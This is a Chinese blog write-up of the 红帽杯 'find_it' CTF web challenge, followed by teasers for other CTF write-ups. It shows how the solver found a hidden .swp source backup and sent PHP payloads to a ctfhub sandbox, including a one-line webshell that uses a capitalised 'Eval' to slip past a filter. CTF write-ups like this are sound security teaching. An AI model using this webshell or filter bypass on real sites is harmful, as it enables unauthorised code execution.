红帽杯find_it(代码片段)

山川绿水 山川绿水     2023-01-07     322

关键词:

红帽杯 find_it

一、解题思路

1.使用dirsearch扫描目录,发现了robots.txt文件

2.直接进行访问,发现1ndexx.php

3.那我就顺着这个思路来进行访问,未果

4.根据题目find_it那就说明肯定是源代码泄露
常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history
我将其放到御剑里面进行扫描

同样没找结果,这里有个很大的坑,就是1ndexx.php也是个隐藏文件,应该在前面的访问目录下加个点,进行访问

http://challenge-f6960d6016222203.sandbox.ctfhub.com:10800/.1ndexx.php.swp


5.Ctrl + U 查看页面源代码


6.代码审计一波,就是code传参给变量a

变量a有过滤,有个逻辑漏洞flag.php的内容,如果被绕过的话就会写入到hack.php中,我们可以直接构造payload

http://challenge-cb5c2d847c33ae94.sandbox.ctfhub.com:10800/?code=%3C?php%20show_source(__FILE__);?%3E

我们执行命令后,我们访问hack.php,直接可以得到flag

http://challenge-cb5c2d847c33ae94.sandbox.ctfhub.com:10800/hack.php


7.另外一种方式
上传一句话木马,虽然将eval过滤了,我们可以使用大小写绕过的方式,上传一句话木马

http://challenge-cb5c2d847c33ae94.sandbox.ctfhub.com:10800/?code=<?php @Eval($_POST['aaa']);?>


同样也可以得到flag

ctfhub599bbdd0fa8ff600cc8c4a94

二、知识点

1.常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history
2.注意隐藏文件的点.
3.fopen函数
4.fwrite函数

三、参考链接

https://www.it610.com/article/1397691781239328768.htm

红帽杯2021决赛opensns复现(代码片段)

前言因为某些事情,没有参加今年的红帽杯决赛,所以来复现一下决赛的Web题里面的opensns,学习一下思路。复现根据网上的文章进行复现学习。感觉能找到这个洞的师傅实在tql。漏洞点位于Application/Weibo/Controller/ShareC... 查看详情

红帽杯2021决赛opensns复现(代码片段)

前言因为某些事情,没有参加今年的红帽杯决赛,所以来复现一下决赛的Web题里面的opensns,学习一下思路。复现根据网上的文章进行复现学习。感觉能找到这个洞的师傅实在tql。漏洞点位于Application/Weibo/Controller/ShareC... 查看详情

2019红帽杯easyre(代码片段)

记一次被带入坑的逆向拿到题目,发现是elf文件,拖入Linux运行程序,发现什么提示也不给,输入任意字符串,程序退出。拖入64位的ida中,查找字符串,发现几个很有用的字符串,查看第三个字符... 查看详情

buuctf-reverse(逆向)2019redhat(红帽杯)-xx(代码片段)

0x00日常查壳无壳64位0x01分析主函数考的主要还是正向开发int__cdeclmain(intargc,constchar**argv,constchar**envp)unsigned__int64flaglen2;//rbx__int64flaglen1;//rax__int128*malloc5;//rax__int64data;//r11__int128*malloc7;//r14i 查看详情

2019红帽杯部分wp(代码片段)

xx程序首先取输入的前4个字符作为xxtea加密的密钥之后进行xxtea加密。接着进行位置置换操作,然后又进行了以3个为一组的异或首先逆向解出xxtea加密之后的结果#include<stdio.h>#include<Windows.h>intmain()intcount=0;intb[24];inta[]=0xCE,... 查看详情

2019红帽杯easyre(代码片段)

记一次被带入坑的逆向拿到题目,发现是elf文件,拖入Linux运行程序,发现什么提示也不给,输入任意字符串,程序退出。拖入64位的ida中,查找字符串,发现几个很有用的字符串,查看第三个字符... 查看详情

第二届红帽杯

NotOnlyWireshark:用wireshark打开,筛选http,看到一些可疑的字符用python跑一下把这些可疑字符提取出来importref=open("NotOnlyWireshark.pcapng","rb").read()a=re.findall(b"/sqli/example2\.php\?name=(...)",f)f1=open("test.txt","a+")foriin 查看详情

2017广东省红帽杯网络安全攻防大赛writeup

签到扫码按操作即得brian(Y)打开题目,发现是一段字符:++++++++++[->++++++++++<]>++.++++++.<+++[->---<]>--.++++++.<++++[->++++<]>++++.<++++[->----<]>------.<++++++[->------&l 查看详情

红帽7创建网络会话(代码片段)

RHEL和CentOs系统默认使用NetworkManager来提供网络服务,这是一种动态管理网络配置的守护进程,能够让网络设备保持连接状态。可以使用nmcli命令来管理NetworkManager服务。nmcli是一款基于命令行的网络配置工具,功能丰富,参数众多... 查看详情

红帽7samba服务实现文件共享(代码片段)

Samba文件共享服务首先需要先通过Yum软件仓库来安装Samba服务程序(Samba服务程序的名字也恰巧是软件包的名字)[[email protected]~]#yuminstallsambaLoadedplugins:langpacks,product-id,subscription-managerThissystemisnotregisteredtoRedHatSubscripti 查看详情

红帽7磁盘划分(代码片段)

1、挂载硬件设备mount命令用于挂载文件系统,格式为“mount文件系统挂载目录”。挂载是在使用硬件设备前所执行的最后一步操作。只需使用mount命令把硬盘设备或分区与一个目录文件进行关联,然后就能在这个目录中看到硬件... 查看详情

什么是红帽?红帽有哪些等级呢?小白来解答(代码片段)

红帽认证介绍Linux系统:是一套免费使用和自由传播的计算机操作系统(类Unix,后者偏重于高端设备、小型机等),是一个性能稳定的多用户网络操作系统,可安装在各种计算机硬件设备中,比如手机、平板电脑、路由器、视频... 查看详情

红帽7ssh(代码片段)

SSH(SecureShell)是一种能够以安全的方式提供远程登录的协议,想要使用SSH协议来远程管理Linux系统,则需要部署配置sshd服务程序。sshd是基于SSH协议开发的一款远程管理服务程序,不仅使用起来方便快捷,而且能够提供两种安全... 查看详情

红帽7配置samba文件共享服务(代码片段)

  samba软件主要功能是为客户机提供共享使用的文件夹.  使用的协议是SMB(TCP139)、CIFS(TCP445).  所需的软件包:samba  系统服务:smb1.安装samba服务~]#yum-yinstallsamba    #安装samba服务~]#systemctlstartsmb    #启动samba服务~]#... 查看详情

红帽7中firewall常用指令(代码片段)

1.端口管理(1)列出DMZ区域开放的端口~]#firewall-cmd--zone=dmz--list-ports(2)8080端口加入dmz区~]#firewall-cmd--zone=dmz--add-port=8080/tcp(3)将UDP端口段加入public区域,并永久生效~]#firewall-cmd--zone=public--add-port=5060-5070/udp--per 查看详情

蓝桥杯打印十字图(图形规律)(代码片段)

题目描述小明为某机构设计了一个十字型的徽标(并非红十字会啊),如下所示:..$$$$$$$$$$$$$....$...........$..$$$.$$$$$$$$$.$$$$...$.......$...$$.$$$.$$$$$.$$$.$$.$...$...$...$.$$.$.$$$.$.$$$.$.$$.$.$...$...$.$.$$.$.$.$$$$$.$.$.$$.$.$...$.. 查看详情

蓝桥杯真题递增序列(代码片段)

蓝桥杯真题【递增序列】importjava.util.Scanner;//1:无需package//2:类名必须Main,不可修改publicclassMainpublicstaticvoidmain(String[]args)Scannerscan=newScanner(System.in);/**思路:1、将输入的字符串编为二维数组;2、遍历每个元素 查看详情

红帽7配置网卡(代码片段)

1、配置网卡参数打开真机的网络连接中可以看到VMnet1和VMnet8两个虚拟出来的网卡VMnet1就是虚拟机网络设置中的仅主机模式,VMnet8是NAT模式,区别是VMnet1是真机和虚拟机中的linux系统互联,虚拟机可以与真实系统相互共享文件,但... 查看详情